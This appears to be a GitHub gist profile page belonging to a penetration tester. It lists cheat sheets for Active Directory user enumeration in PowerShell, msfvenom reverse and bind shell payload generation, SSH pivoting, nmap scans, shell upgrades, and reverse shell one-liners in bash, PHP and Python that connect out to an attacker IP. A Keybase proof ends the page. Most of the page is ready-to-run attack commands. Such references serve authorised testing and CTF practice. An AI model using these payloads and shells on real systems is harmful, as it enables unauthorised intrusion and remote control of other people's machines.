Skip to content

Instantly share code, notes, and snippets.

View dejisec's full-sized avatar

dejisec dejisec

6 followers · 1 following
View GitHub Profile
@dejisec
dejisec / domain_scripts.md
Last active December 9, 2024 10:36
Active Directory Scripts

Enumerate Domain Users

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
@dejisec
dejisec / msf_pay.md
Created July 15, 2020 20:08
MSFVenom Payloads

PHP reverse shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php

Java WAR reverse shell

msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war

Linux bind shell

msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai

Linux FreeBSD reverse shell

@dejisec
dejisec / ssh_tun.md
Last active July 15, 2020 19:57
SSH Tunnels and Pivots

sshuttle

sshuttle -vvr [email protected] 10.1.1.0/24

Local port forwarding

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

Remote port forwarding

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

Dynamic port forwarding

@dejisec
dejisec / nmap.md
Last active July 19, 2024 16:49
Nmap Scans

Quick TCP

nmap -sC -sV -vv -oA quick_tcp 10.10.10.10

UDP

nmap -sU -sV -vv -oA udp 10.10.10.10

Full TCP

nmap -sC -sV -p- -vv -oA full 10.10.10.10

Port Knock

@dejisec
dejisec / shell_upgrade.md
Last active July 15, 2020 19:59

Python 2

python -c 'import pty; pty.spawn("/bin/bash")'

Python 3

python3 -c 'import pty; pty.spawn("/bin/bash")'

Bash

echo os.system('/bin/bash')

Perl

@dejisec
dejisec / shells.md
Last active July 15, 2020 20:01
Reverse Shells

Bash

bash -i >& /dev/tcp/10.0.0.1/1234 0>&1

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

NC

@dejisec
dejisec / keybase.md
Created June 13, 2020 02:08

Keybase proof

I hereby claim:

  • I am dejisec on github.
  • I am dejisec (https://keybase.io/dejisec) on keybase.
  • I have a public key whose fingerprint is B4A8 9154 07FF 88E8 B57B C323 2FC3 6F94 7D0C 8BC3

To claim this, I am signing this object: